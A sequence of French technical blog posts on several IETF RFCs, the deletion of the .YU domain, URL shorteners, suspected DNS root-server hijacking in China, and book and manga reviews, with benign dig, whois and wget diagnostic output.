Bref, passons à la section 3 qui donne les détails syntaxiques. Le préfixe est donc .well-known, les noms en « dessous » doivent être enregistrés (cf. section 5.1), et ils doivent se conformer à la production segment-nz du RFC 3986 (en clair, cela veut dire qu'ils doivent être une suite de caractères ASCII imprimables, avec quelques exclusions comme la barre oblique). À noter que l'effet d'une requête GET /.well-known/ (tout court, sans nom de ressource après), est indéfini (sur mon blog, cela donne ça ; devrais-je le configurer pour renvoyer autre chose ? Sur Mastodon, ça donne 404.)

La section 5 décrit les conditions d'enregistrement des noms bien connus à l'IANA. Le registre était vide au début mais a été ensuite rempli par exemple par les métadonnées du RFC 6415. Y mettre des noms supplémentaires nécessite un examen par un expert et une norme publiée (pas forcément un RFC). Dans les termes du RFC 5226, ce sera Specification Required et Expert Review. Il y aura un mini-formulaire à remplir et hop, le nom bien connu sera enregistré. Plusieurs existent désormais.

Notez qu'il est très difficile de savoir combien de sites ont des ressources /.well-known. Bien sûr, Google le sait, mais ne donne pas accès à cette information (une requête inurl:/.well-known ou inurl:"/.well-known" ignore hélas le point initial et trouve donc surtout des faux positifs). Si on n'a pas accès à la base de Google, il faudrait donc faire soi-même une mesure active avec un client HTTP qui aille visiter de nombreux sites.


Téléchargez le RFC 5785


L'article seul

RFC 5826: Home Automation Routing Requirements in Low Power and Lossy Networks

Date de publication du RFC : Avril 2010
Auteur(s) du RFC : A. Brandt (Sigma Designs), J. Buron (Sigma Designs), G. Porcu (Telecom Italia)
Pour information
Réalisé dans le cadre du groupe de travail IETF roll
Première rédaction de cet article le 7 avril 2010


L'« Internet des objets » est un terme à la mode, pour désigner l'interconnexion d'équipements qui ne sont pas habituellement considérés comme des ordinateurs mais qui ont néanmoins une adresse IP et une connexion (souvent indirecte) à l'Internet. Dans un environnement de type domotique, par exemple, cela concerne le grille-pain et le réfrigérateur lorsqu'ils veulent échanger des recettes. Mais, s'ils sont trop éloignés l'un de l'autre et qu'ils ne peuvent communiquer que via le presse-purée ? C'est ici que rentre en jeu notre RFC, troisième document du groupe de travail ROLL de l'IETF, groupe de travail qui vise à définir des protocoles de routage permettant au grille-pain et au réfrigérateur de découvrir que le presse-purée est volontaire pour router leurs paquets IP. Ce document est le cahier des charges des futurs protocoles de ROLL.

Bien sûr, les exemples cités plus haut sont des cas trop faciles, car le grille-pain et le réfrigérateur disposent tous les deux de tellement d'énergie que les protocoles classiques de routage peuvent être utilisés. Mais si on prend des équipements non reliés au réseau électrique comme une alarme incendie planquée dans le plafond, la télécommande de la télévision, le compteur d'eau, etc, la situation devient plus délicate, on entre vraiment dans le monde des « Low power and lossy networks » qui ont donné leur nom au groupe ROLL. Ces engins ne peuvent plus communiquer que par radio et la portée de leurs émetteurs est souvent limitée (notamment afin d'économiser les batteries). Le routage est donc nécessaire, certaines machines relayant les communications des autres. D'autre part, la réception sera souvent mauvaise (le spectre hertzien est très encombré et la seule mise en route du four à micro-ondes peut perturber le réseau). Les pertes de paquets seront donc fréquentes. Le problème ressemble donc beaucoup à celui décrit dans le RFC 5548 (qui était davantage tourné vers l'extérieur, notre RFC 5826 visant la maison, alors que le RFC 5867 vise les immeubles de bureaux).

Pour allêcher le lecteur, la section 2 donne quelques exemples d'applications domotiques, chacune illustrant un ou deux points précis des exigences qui pèseront sur le protocole. À noter que beaucoup de ces exemples reprennent sans nuance le discours habituel des vendeurs de solution domotiques, qui font miroiter le côté high-tech de leurs gadgets, sans jamais se demander s'ils sont réellement utiles et si le même objectif ne pouvait pas être atteint autrement. C'est ainsi que le contrôle de l'air conditionné (section 2.2) est présenté comme permettant de réduire la consommation énergétique, sans même mentionner la possibilité de supprimer complètement ce gouffre d'énergie absurde qu'est l'air conditionné ! Bel exemple d'écoblanchiment.

L'exemple des systèmes d'alarme (section 2.8) est particulièrement détaillé. Comme certains des capteurs ont un rôle vital (par exemple les détecteurs de fumée), il n'est pas question de tirer inutilement sur leur batterie en leur faisant assurer des tâches de routage pour des équipements moins vitaux. Le protocole de routage doit donc permettre d'exclure de la corvée de routage certains systèmes.

Après ce voyage dans le Disneyland de la domotique, la section 3 liste les exigences concrètes :

  • Routage prenant en compte les contraintes, notamment de limitation de la consommation d'énergie de l'appareil (section 3.1). Les protocoles de routage actuels sur l'Internet ignorent complètement ce facteur.
  • Possibilité de mobilité, certains des équipements se déplacent en effet souvent (section 3.2). Certains équipements sont fixes mais arrêtés relativement souvent alors que d'autres, lorsqu'ils « disparaissent » à la vue du routage, réapparaissent à un autre endroit.
  • Passage à l'échelle (section 3.3), le chiffre envisagé étant de centaines (!) d'équipements actifs dans une maison. Cela semble incroyable aujourd'hui, où la domotique est souvent un luxe de riche, tout juste bon à permettre au milliardaire de la Silicon Valley d'impressionner ses visiteurs en leur infligeant une démo de ses derniers gadgets à chaque party. Mais ce chiffre pourrait être atteint dans des maisons plus ordinaires si la tendance actuelle à la multiplication du nombre d'appareils électriques se poursuit (regardez le nombre de prises de courant qu'il faut aujourd'hui, sans compter les appareils sur pile ou batterie). En mettant une limite arbitraire à « au moins 250 appareils », le RFC n'interdit quand même pas de stocker l'adresse des appareils sur un seul octet...
  • Convergence rapide (section 3.4) après un changement. Les équipements de la maison vont bouger et être allumés et éteints fréquemment. Les changements dans le routage seront donc fréquents et ne doivent pas bloquer le réseau pendant plusieurs minutes. Le RFC met des limites quantitatives : 0,5 secondes maximum si les nœuds du réseau n'ont pas bougé et 4 secondes s'ils se sont déplacés.
  • Autoconfiguration, car les utilisateurs n'auront pas envie d'être l'administrateur réseaux de leur propre mauson. Tout devra marcher tout seul (section 3.5).
  • Stabilité (section 3.6) ce qui implique une forme de mémoire : si un équipement est souvent en panne, il faut pouvoir s'en souvenir, pour ne pas le choisir comme routeur.

Bien sûr, un tel réseau à la maison, dont la taille et la complexité serait à peu près celle de l'Internet de 1975, poserait des problèmes de sécurité. C'est l'objet de la section 5. Les réseaux à la maison rendent beaucoup de solutions de sécurité irréalistes. Par exemple, difficile d'exiger d'une machine devant économiser chaque milliwatt d'énergie de faire des calculs cryptographiques compliqués à chaque paquet. Le RFC insiste donc sur la nécessité de développer des solutions de sécurité légères.

Autre problème de sécurité, l'auto-configuration. Elle rend difficile la mise en œuvre de politiques de sécurité et notre RFC 5826 demande donc des mécanismes permettant de refuser l'accès à une machine inconnue.


Téléchargez le RFC 5826


L'article seul

Match d'improvisation junior du 4 avril à paris

Première rédaction de cet article le 4 avril 2010


Des photos du match improvisation junior du 4 avril au gymnase Rosa Parks à Paris.


L'article complet

RFC 5795: The RObust Header Compression (ROHC) Framework

Date de publication du RFC : Mars 2010
Auteur(s) du RFC : K. Sandlund, G. Pelletier (Ericsson), L-E. Jonsson
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF rohc
Première rédaction de cet article le 4 avril 2010


Quels que soient les progrès des technologies, il n'y a jamais assez de capacité. Même aujourd'hui, les vieux modems restent en service (y compris dans un pays riche, mais étendu, comme les États-Unis) et certaines technologies récentes offrent une capacité limitée (par exemple sur les téléphones mobiles). Il est donc utile de pouvoir comprimer les données et aussi les en-têtes des paquets émis, qui sont souvent très redondants, ouvrant ainsi de bonnes perspectives pour la compression. Plusieurs mécanismes de compression ont été inventés depuis les débuts de l'Internet et le projet ROHC (Robust Header Compression) a été créé pour mettre de l'ordre dans ces mécanismes, en développant un cadre commun. Ce RFC spécifie ce cadre.

La section 1 du RFC, l'introduction, donne quelques chiffres sur les gains qu'on peut tirer de la compression. Par exemple, si on utilise RTP (RFC 3550) pour transporter de la voix sur IP, il faudra transporter les 40 octets de l'en-tête (en IPv6), les 12 octets de l'en-tête UDP et les 8 octets de l'en-tête RTP (sans compter les en-têtes de la couche liaison). Ainsi, un paquet de données de 20 octets (une taille courante en voix sur IP) pourrait nécessiter 60 octets d'en-têtes TCP/IP.

Le RFC originel sur ROHC était le RFC 3095 qui incluait à la fois le cadre général et les profils de compression pour certains protocoles (un profil est un protocole de compression donné, adapté à un certain protocole). Une réforme générale de ROHC a eu lieu et il est désormais normalisé dans plusieurs RFC, notre RFC 5795 pour le cadre général, les RFC 4996 et RFC 5225 pour des profils pour, respectivement, TCP et les protocoles sans connexion comme IP ou UDP, le RFC 4997 pour le langage formel de définition des compressions, etc. (Le RFC 3095 n'est pas officiellement abandonné puisque le protocole est le même, il est juste mieux décrit.) Le cadre général de ROHC était initialement dans le RFC 4995, mais il comportait quelques bogues, corrigées par notre RFC qui remplace donc le RFC 4995.

La section 3 du RFC décrit les bases de la compression. Le principe est que le compresseur ne transmette pas certaines informations, car elles n'ont pas changé, ou bien peuvent être déduites automatiquement. Cela implique que le décompresseur puisse se souvenir de l'état de la compression, ce que ROHC nomme le contexte (la section 2.2 décrit toute la terminologie). Le maintien de ce contexte, même en présence de perturbations sur le réseau, est le principal défi de la compression. Sur des liens de mauvaise qualité (par exemple avec beaucoup de pertes), les mécanismes de compression pré-ROHC se comportaient plutôt mal (voir aussi la section 1).

Naturellement, rien n'est gratuit : le gain en capacité du réseau sera obtenu au détriment de la puissance de calcul, puisque compression et décompression nécessitent des calculs. La vitesse des processeurs des téléphones portables augmentant plus vite que leur capacité réseau, le choix de la compression semble raisonnable.

La section 3.2 rappelle l'histoire de la compression. Le premier grand travail dans le monde TCP/IP avait été la compression des en-têtes TCP par Van Jacobson en 1990 (RFC 1144), dont tous les utilisateurs de SLIP dans les années 1980 et 90 se souviennent (« Tu es sûr d'avoir activé la compression VJ ? »).

La section 4 décrit de manière relativement informelle le fonctionnement de ROHC, notamment (section 4.1), les différentes classes de changement dans les en-têtes, qui permettent leur prédiction par le décompresseur. Ainsi, la classe STATIC décrit les informations qui ne changent pas pendant la durée du flux de données (le numéro de version IP par exemple), la classe INFERRED étant composée des en-têtes qui peuvent se déduire ou se calculer à partir d'autres informations (comme la taille du paquet).

La vraie définition de ROHC est en section 5. C'est là qu'on trouve, par exemple, la description du mécanisme de rétroaction (section 5.2.4) qui permet au décompresseur de tenir le compresseur au courant du succès (ou de l'échec) de son travail. Autre exemple (section 5.1.2), chaque canal de communication ROHC a, parmi ses paramètres, un identificateur du profil utilisé (la liste des identificateurs possibles est dans un registre IANA, voir également la section 8). La section 5.4 normalise ainsi le profil d'identificateur 0x0000, le profil qui ne fait rien, les profils « actifs » étant définis dans d'autres RFC.

Les changements par rapport au RFC 4995 sont minimes mais peuvent affecter l'interopérabilité, puisqu'il y a correction d'une bogue : l'encodage de la rétroaction (section 5.2.4.1) a été refait (le RFC 4995 avait introduit une différence par rapport au RFC 3095) et une nouvelle section 5.4.3 a été faite pour décrire l'initialisation du contexte dans le cas où on utilise le profile 0x0000 (profil sans compression).

Des déploiements de ROHC sont déjà faits dans les téléphones portables. Il existe une implémentation libre, RObust Header Compression (ROHC) library (merci à Didier Barvaux pour cela), tirée d'une plus ancienne bibliothèque. La section 6 du RFC 3095 contient une excellent section sur les problèmes concrets de mise en œuvre de ROHC (section qui ne semble pas avoir été reprise dans les RFC plus récents).


Téléchargez le RFC 5795


L'article seul

La fin du domaine de tête .YU

Première rédaction de cet article le 2 avril 2010


Le premier avril 2010 (et ce n'est pas un poisson), la version 2010040101 du fichier de zone de la racine du DNS a été publiée par Verisign et le domaine de tête .YU, qui représentait l'ancienne Yougoslavie n'y figurait plus.

C'est, je crois, la première fois qu'un domaine de tête disparait. Il était déjà arrivé que des éléments de la liste ISO 3166-1, qui sert de base aux ccTLD (domaines de tête nationaux), disparaissent (par exemple DD, qui était l'Allemagne de l'Est). Mais les précédents disparus n'avaient jamais été délégués dans la racine du DNS.

Cette disparition était prévue depuis longtemps, la Yougoslavie ayant cessé d'exister officiellement en 2006. En conséquence de quoi, l'ICANN avait décidé la suppression du domaine de premier niveau. Une telle décision n'allait pas de soi : il n'y a pas de raison technique pour faire maigrir la racine, l'existence de .YU ne gênait personne, et sa suppression mettait en cause la stabilité de l'Internet, puisque tous les identificateurs incluant un .YU devenaient invalides, contrairement aux bonnes pratiques. La requête site:.yu dans Google renvoie près de deux millions de pages, désormais toutes inatteignables.

D'autant plus qu'une autre victime de la chute du rideau de fer, le .SU, domaine de l'ancienne Union Soviétique est toujours actif, bien maintenu et en parfaite santé. Ses gérants ont toujours refusé les pressions de l'ICANN visant à sa suppression. Il est vrai que, contrairement à Belgrade, Moscou n'a pas été bombardé par l'US Air Force...

La suppression s'est faite en plusieurs phases. Le 30 mars, le domaine .YU était réduit à un strict minimum, uniquement ses serveurs de noms, faisant ainsi disparaître tous les sous-domaines. Le serveur whois de l'IANA montrait déjà sa disparition :

% whois -h whois.iana.org YU

Domain yu. not found.

Puis, le 1er avril, .YU disparaissait de la racine. Aujourd'hui, il ne reste que la page Web à l'IANA. Le dernier fichier de zone du .YU était :


; <<>> DiG 9.5.1-P3 <<>> @NS-YU.RIPE.NET. AXFR yu.
; (2 servers found)
;; global options:  printcmd
yu.                     600     IN      SOA     NS1.NIC.YU. HOSTMASTER.NIC.YU. 2010033000 43200 3
600 3600000 86400
yu.                     600     IN      NS      NS1.NIC.YU.
yu.                     600     IN      NS      ODISEJ.TELEKOM.YU.
yu.                     600     IN      NS      NS.INFOSKY.NET.
yu.                     600     IN      NS      SUNIC.SUNET.SE.
yu.                     600     IN      NS      AUTH03.NS.UU.NET.
yu.                     600     IN      NS      MUNNARI.OZ.AU.
yu.                     600     IN      NS      NS-YU.RIPE.NET.
ns1.nic.yu.             600     IN      A       147.91.8.6
odisej.telekom.yu.      600     IN      A       195.178.32.2
yu.                     600     IN      SOA     NS1.NIC.YU. HOSTMASTER.NIC.YU. 2010033000 43200 3
600 3600000 86400
;; Query time: 14 msec
;; SERVER: 2001:610:240:0:53:cc:12:251#53(2001:610:240:0:53:cc:12:251)
;; WHEN: Tue Mar 30 12:08:10 2010
;; XFR size: 11 records (messages 1, bytes 346)

Et l'avant-dernier, qui avait encore du contenu, est disponible en ligne.


L'article seul

Fiche de lecture : Renseignement et espionnage dans la Rome antique

Auteur(s) du livre : Rose Mary Sheldon
Éditeur : Les belles lettres
978-2-251-38102-2
Publié en 2009
Première rédaction de cet article le 2 avril 2010


Les romains pratiquaient-ils l'espionnage ? Mauvaise question, dit l'auteur de ce livre, le monde romain était très différent du nôtre, organisé d'une manière qui nous semble parfois irrationnelle, et vivant dans un contexte très différent. Il ne faut donc pas chercher, sous peine d'anachronisme, à plaquer nos concepts modernes sur les romains de l'Antiquité. Oui, contrairement à ce que prétendent les romains eux-mêmes (qui considéraient l'espionnage comme signe d'une ruse « orientale », indigne de vrais guerriers), il y avait des activités d'espionnage à Rome. Non, elles n'étaient pas du tout organisées comme aujourd'hui.

Rose Mary Sheldon a écrit plusieurs autres livres sur l'espionnage dans le monde antique. Sauf erreur, celui-ci est le premier traduit en français. Il couvre la période de la République et celle du Haut-Empire, la première se caractérisant par une absence d'activités d'espionnage organisées (ce qui a servi à nourrir la légende de romains méprisant cette occupation). Les armées de la République avaient bien sûr des éclaireurs, chargés de la reconnaissance avancée, mais il n'existait pas de service structuré qu'on puisse présenter comme l'ancêtre romain de la CIA. La protection des transmissions n'était pas un souci (le fameux « chiffre de César » ne semble pas avoir été utilisé en pratique, les amateurs de cryptographie seront déçus tout au long du livre, les romains n'étaient pas adeptes des mathématiques). Et le principal moyen de percer à jour les intentions des ennemis était d'observer les entrailles d'animaux sacrifiés, ou l'appétit des poulets sacrés... On est loin de Richard Sorge et Leopold Trepper...

Quelques spectaculaires désastres militaires comme celui de Crassus (qui envahit le royaume des Parthes en n'ayant aucune idée de ce qu'il va rencontrer) ou comme l'invasion réussie de l'Italie par Hannibal (qui, lui, avait un vrai service d'espionnage), ont quand même fini par convaincre les romains de la nécessité de prendre plus au sérieux le renseignement.

Sous l'Empire, Auguste décide de prendre les choses en main et le renseignement devient plus professionnel. Cela n'empêche pas toujours les défaites, comme celle du Teutobourg où les romains étaient avertis du retournement d'Arminius... mais avaient ignoré l'information. (La bataille fait l'objet d'un excellent chapitre, où les fouilles archéologiques minutieuses permettent d'avoir une vision détaillée de ce qui s'est passé.)

Finalement, l'Empire finit par avoir des hommes sérieusement chargé de l'espionnage, les frumentarii. Difficile de les qualifier d'espions professionnels car leur mission était bien plus vaste que l'espionnage, incluant aussi la poste et la collecte des impôts, voire, dans certaines périodes, l'assassinat politique. Massivement détestés, les frumentarii ont été pourtant utilisés par tous les empereurs (avec parfois des changements cosmétiques de nom), le Bas-Empire (qui fera l'objet d'un autre livre, annonce l'auteur) marquant toutefois une réorganisation sérieuse.

Car l'Empire n'était évidemment pas un état de droit et les services secrets étaient bien plus utilisés pour l'espionnage intérieur que pour surveiller les Barbares ! Plus d'empereurs ont été tués par leurs officiers ou leurs gardes du corps que par l'ennemi extérieur.

Le chapitre le plus intéressant du livre ne porte pas directement sur l'espionnage mais sur la transmission et la signalisation. Le point de départ du chapitre se situe en Écosse, sur la frontière, là où les romains construisirent plusieurs murs comme le fameux mur d'Hadrien. Et la question posée était « Comment les forts communiquaient-ils entre eux ? » Leur position permet-elle de répondre à cette question ? Oui, car, souvent, les forts sont placés sans raison apparente, la seule explication était la volonté qu'il y aie une LOS (vue directe) entre eux, pour la transmission par signaux optiques.

Le ton du livre est plutôt universitaire, sérieux et tout, donc les lecteurs qui sont le moins accrochés au sujet auront peut-être parfois un peu de mal.

Un autre article en français sur ce livre : « Empire romain et renseignement ».


L'article seul

Quelques leçons sur la sécurité après les piratages de Twitter

Première rédaction de cet article le 30 mars 2010


Le piratage de plusieurs comptes Twitter, dont celui d'administrateurs du site Web, puis ceux de clients célèbres comme Barack Obama, par un nommé Hacker-Croll a suscité beaucoup d'intérêt médiatique... bien à tort.

Comme souvent avec les piratages spectaculaires sur l'Internet, on a fait une montagne d'une taupinière. Aucune technique nouvelle n'a été utilisée, Hacker-Croll a surtout utilisé (avec compétence et ténacité) des méthodes non-informatiques classiques et très connues : il existe des tas de comptes sur l'Internet qui ne sont protégées que par des barrières très faibles (comme une question « Où ai-je rencontré ma femme ? », s'agissant d'une personnalité publique dont la biographie est bien connue...). Que quelqu'un aie réussi à passer outre ces barrières n'est pas une information. Ferait-on les gros titres avec une information comme quoi quelqu'un a réussi à voler une voiture ? Ou à cambrioler un appartement ?

Mais, va t-on me dire, c'étaient les compte de personnes importantes. Et alors, qui peut croire que ces comptes servaient à autre chose qu'à faire envoyer des communiqués par un employé du service de presse de la Maison Blanche ? Que croient les journalistes qui ont frissoné en annonçant que le compte d'Obama était piraté ? Qu'on peut lancer les ICBM depuis Twitter ? Ce compte ne servait pas à grand'chose et son piratage n'a guère d'importance. C'était exactement la même chose avec des comptes sans intérêt comme le compte Hotmail d'un député godillot. Que pouvait-il y avoir dans la boîte aux lettres d'un député UMP de base ? Certainement pas des secrets d'État.

J'ai même pu lire des indignations que la sécurité de Twitter soit si mauvaise (ce n'est pas, et de loin, leur premier problème de sécurité). Ces indignations sont doublement ridicules. D'abord, elles oublient une règle de base de la sécurité (pas seulement informatique) : il n'y a pas de sécurité parfaite, il n'y a que des compromis. Renforcer la sécurité coûte (du temps, de l'argent, des ennuis) et il est parfaitement logique et légitime de limiter les coûts en ne cherchant pas à sécuriser à tout prix une ressource dont l'importance est faible. Sécuriser son compte Twitter ou Hotmail, c'est une occupation pour le lycéen boutonneux qui se prend pour un hacker, pas une activité économiquement rationnelle.

Et cela nous mène à la seconde raison de ne pas être indigné ou même surpris par les failles de Twitter : ce n'est pas un service critique ! C'est un jouet pour faire mumuse, pas un élément essentiel qu'il faudrait protéger à tout prix. Twitter a aujourd'hui des revenus pratiquement égaux à zéro (je parle bien des revenus, pas des bénéfices). Les cervelles d'oiseau qui réclament qu'on sécurise le service de microblogging sont-ils prêts à payer pour cela ?


L'article seul

Manga & gastronomie avec le seigneur des hamburgers

Première rédaction de cet article le 28 mars 2010


La popularité des mangas influence maintenant même les œuvres écrites en France, ce que le service de comm' de l'éditeur baptise « l'école franco-manga ». Voici donc le résultat du travail collectif d'Arleston, Alwett, Barbucci, Balak, Zimra et Andry, « Lord of burger - Le Clos des épices », le tome 1 d'un manga français qui (comme « Les Gouttes de Dieu », pourtant 100 % nippon) se passe dans le milieu de la grande cuisine.

Milieu difficile, où on ne reste pas facilement au sommet, où l'inspecteur du Guide Michelin (qui ne se présente pas : essayez de deviner qui c'est) peut vous faire dégringoler en peu de temps et où les egos surdimensionnés peuvent conduire à la trahison et au harcèlement moral.

Le dessin est très manga, quoique moins excité, le scénario est très français (on comprend et on arrive à suivre), le mélange d'humour et de tragédie m'a emballé et je recommande ce livre à tous ceux qui aiment mélanger les goûts et les saveurs, le hamburger et le canon d'agneau en croûte d'épices, la visite initiatique au Japon avec le retour au bercail parisien.

Attention, le tome 1 a été réédité en 2011 en... deux tomes, donc n'achetez pas le tome 2 en croyant qu'il suit l'ancien tome 1 (l'opération marketing est très contestable). Si vous avez l'ancien tome 1, il faut acheter le nouveau tome 3 pour la suite.


L'article seul

Les problèmes posés par les raccourcisseurs d'URL

Première rédaction de cet article le 28 mars 2010


On voit partout des URL raccourcis, où le vrai URL a été remplacé par une version courte, précédée du nom du service de raccourcissement. tinyurl.com a été le premier mais, aujourd'hui, on voit plus souvent goo.gl, bit.ly ou to (certainement le plus court mais aussi le moins garanti). J'utilise le moins possible ces services.

Comment fonctionnent-ils ? La première fois qu'on soumet un URL normal à un tel service (via un formulaire Web ou bien via l'API du service), un nombre aléatoire est créé et la correspondance entre ce nombre et le vrai URL est mise dans la base de données du service de raccourcissage. Ainsi, si je soumets l'URL de cet article, http://www.bortzmeyer.org/probleme-raccourcisseurs-urls.html à bit.ly, j'obtiens un encodage du nombre (encodage choisi pour sa compacité), l'identificateur bKulB8, et un URL formé à partir de cet identificateur, http://bit.ly/bKulB8. Si je suis ensuite cet URL raccourci, je me connecte au service raccourcisseur qui utilisera la redirection standard de HTTP (RFC 7231, section 6.4.2, au sujet du code 301) pour m'envoyer au vrai URL. On le voit bien avec wget :

% wget http://bit.ly/bKulB8
--2010-03-28 22:08:12--  http://bit.ly/bKulB8

Resolving bit.ly... 128.121.234.46, 128.121.254.129, 128.121.254.201, ...
Connecting to bit.ly|128.121.234.46|:80... connected.
HTTP request sent, awaiting response... 301 Moved
Location: http://www.bortzmeyer.org/probleme-raccourcisseurs-urls.html [following]

--2010-03-28 22:08:13--  http://www.bortzmeyer.org/probleme-raccourcisseurs-urls.html
Resolving www.bortzmeyer.org... 208.75.84.80, 2001:4b98:41::d946:bee8:232
Connecting to www.bortzmeyer.org|208.75.84.80|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10011 (9.8K) [text/html]
Saving to: ...

Il existe quelques bonnes raisons d'utiliser ces services : la principale concerne les services qui limitent sérieusement la taille des messages, le plus connu étant Twitter. Beaucoup d'URL dépassant à eux seuls la fameuse limite des 140 caractères, l'usage d'un raccourcisseur est crucial et, de toute façon, il est automatique. Même si vous essayez de publier votre propre URL, Twitter le raccourcira automatiquement (aujourd'hui avec bit.ly).

Les autres raisons sont moins bonnes : par exemple, si le nom de l'URL donne déjà une indication du contenu, on peut utiliser le raccourcisseur pour maintenir la surprise plus longtemps. Autre raison acceptable, certains sites Web sont mal conçus et les URL qu'ils présentent lors de la navigation sont anormalement longs (c'est par exemple le cas de Légifrance). La bonne solution, pour ce dernier cas, serait que les gérants de ces sites utilisent de beaux URL.

Mais, en dehors de ces quelques points ponctuels, les raccourcisseurs n'ont que des défauts :

  • Ils permettent à leurs promoteurs de surveiller la navigation des internautes, puisque tout accès au site va nécessiter un passage par le raccourcisseur. Ils sont donc une menace pour la vie privée. (Cette menace peut être bien illustrée par les statistiques qu'offre le raccourcisseur, par exemple, pour bit.ly, en ajoutant un + à la fin de l'URL. Si vous allez en http://bit.ly/info/bKulB8+, vous verrez combien de gens ont utilisé le lien court, depuis quel pays, etc.)
  • Ils n'offrent aucun indice sur leur destination, ce qui ne permet plus d'analyser avant de cliquer l'endroit où on va arriver et son sérieux. (Cela peut également avoir des conséquences pour la sécurité. Voir une bonne application de ce problème avec le méchant raccourcisseur.)
  • Ils menacent la permanence des liens, puisque ils ajoutent un intermédiaire de plus, dont rien n'indique s'il va garder sa base longtemps. Il ne faut donc jamais mettre un URL raccourci dans un document voué à rester stable.
  • Comme les URL raccourcis sont composés uniquement de chiffres aléatoires, on ne peut pas les mémoriser ou les deviner.
  • Ils interdisent de savoir si on a déjà vu ou non tel ou tel article, puisque chaque service de raccourcissage va créer son propre URL raccourci.

Heureusement, il existe, grâce à fil@rezo.net, un service de rallongement des URL, qui permet, en connaissant un URL raccourci, de retrouver le vrai (voir l'article « Allongez vos URLs »). Vous pouvez même utiliser ce service automatiquement.

Un service équivalent, plus ancien, est longurl.org, qui dispose d'une API, et de nombreux outils. longurl.org ne semble plus en état de marche aujourd'hui mais un autre outil, plus récent, est longURLplease.com que je ne trouve pas pratique à essayer : il n'a pas de formulaire Web, il faut passer par l'API. Il y a aussi http://untiny.me/, http://www.expandmyurl.com/ et http://ghill.customer.netspace.net.au/embiggen/ (ce dernier ne semble marcher qu'avec TinyURL et son interface Web ne marche pas pour moi.)

Pour le problème de sécurité mentionné plus haut (le gérant du raccourcisseur peut surveiller la navigation des internaute) et uniquement pour ce problème, une solution est d'installer une plate-forme de raccourcissement d'URL chez soi, comme YOURLS. Un tel système laisse intacts tous les autres problèmes...

Autres articles sur la question : « Le contrôle des redirections », qui inclus une traduction de l'excellent « Is the Web heading toward redirect hell? », « Allongez votre URL » de Pierre Beyssac, « Obtenir l'URL réelle des URL courtes », et bien sûr l'article historique « Terror of tinyurl » de Scott Rosenberg, qui défend la valeur des URL compréhensibles.

Merci à Vincent Hinderer pour ses suggestions.


L'article seul

Détournement des serveurs racine en Chine ?

Première rédaction de cet article le 26 mars 2010
Dernière mise à jour le 16 novembre 2010


Avant de lire cet intéressant article, merci de prendre connaissance d'un avertissement préalable : dès qu'il s'agit de la Chine, il faut bien admettre qu'on ne sait pas grand'chose. La plupart des gens qui pontifient sur la situation de l'Internet en Chine ne parlent pas chinois et ne connaissent du pays que les hôtels internationaux de Pékin et Shanghai. (Le prix de l'énormité pro-chinoise revient au député UMP pro-LOPPSI Jacques Myard pour son soutien à la dictature.) Quand il s'agit du DNS, un des services les moins compris d'Internet, le taux de production de conneries augmente considérablement et la combinaison des deux fait donc que la plupart des phrases où il y a « DNS » et « Chine » sont fausses...

Je vais donc essayer de ne pas faire comme Myard, de ne parler que de ce que je connais, ce qui va donc rendre cet article assez court et plein de conditionnels. Contrairement aux films policiers états-uniens, à la fin de cet article, vous ne connaitrez pas le nom du coupable, vous ne saurez même pas s'il y a eu crime...

À plusieurs reprises (par exemple lors de la réunion IETF à Paris en 2005) a été discutée la question d'un détournement du trafic des serveurs DNS de la racine en Chine, afin de mettre en œuvre les politiques, notamment de censure, de la dictature chinoise. Il est très difficile de savoir exactement ce qui se passe en Chine car les utilisateurs chinois, pour des raisons culturelles mais, surtout, par peur de la répression, ne diffusent guère d'informations. Bien sûr, des tas de gens voyagent en Chine mais ils ne sont pas forcément experts du DNS et il est difficile d'obtenir d'eux des résultats de mtr ou des dig exécutés correctement et avec les bonnes options. Les rapports existants sur la censure de l'Internet en Chine sont souvent pauvres en détails techniques.

Toutefois, de temps en temps, le détournement a des conséquences visibles à l'extérieur. C'est ainsi que, le 24 mars, le responsable technique de .cl note que le serveur racine I, anycasté et géré par Netnod, répond bizarrement depuis le Chili :


$ dig @i.root-servers.net www.facebook.com A

; <<>> DiG 9.6.1-P3 <<>> @i.root-servers.net www.facebook.com A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7448
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.facebook.com.              IN      A

;; ANSWER SECTION:
www.facebook.com.       86400   IN      A       8.7.198.45

;; Query time: 444 msec
;; SERVER: 192.36.148.17#53(192.36.148.17)
;; WHEN: Wed Mar 24 14:21:54 2010
;; MSG SIZE  rcvd: 66

Les serveurs racine ne font pas autorité pour facebook.com. Il aurait donc du renvoyer une réference aux serveurs de .com. Au lieu de cela, on trouve une adresse IP inconnue. Bref, quelqu'un détourne le trafic du serveur. En effet :

  • Aussi bien les gérants du serveur I que ceux qui l'hébergent nient toute modification des données reçues de Verisign (qui gère le serveur maître de la racine).
  • Les autres serveurs de la racine (sauf, curieusement, D) sont également affectés.
  • Le seul trafic détourné est celui en UDP, TCP n'a pas de problèmes. Les traceroutes vont parfois vers des instances fiables du serveur I, par exemple au Japon, ce qui semble indiquer que la manipulation ne concerne que le port 53 celui du DNS.
  • Les noms affectés sont ceux de service censurés en Chine, comme Facebook ou Twitter (pas uniquement pour des raisons politiques, mais également parce que ces services ont des concurrents chinois).

À noter que le pirate ne se cache même pas. Si on utilise la requête CH TXT hostname.bind (on demande au serveur son nom), au lieu du vrai nom (par exemple s1.sth), on obtient le nom du pirate (par exemple c1-zaojunmiao-ns1) ce qui montre bien que le vrai serveur racine I est innocent. Si vous voulez tester vous-même, le réseau 123.112.0.0/12, hébergé par China Unicom, est un exemple curieux (à noter qu'il ne répond que pour les noms censurés) :


% dig A www.facebook.com @123.123.123.123 

; <<>> DiG 9.5.1-P3 <<>> A www.facebook.com @123.123.123.123
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44684
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.facebook.com.              IN      A

;; ANSWER SECTION:
www.facebook.com.       86400   IN      A       37.61.54.158

;; Query time: 359 msec
;; SERVER: 123.123.123.123#53(123.123.123.123)
;; WHEN: Fri Mar 26 10:46:52 2010
;; MSG SIZE  rcvd: 66

(L'adresse 37.61.54.158 n'est pas actuellement affectée et n'est pas une adresse de Facebook.)
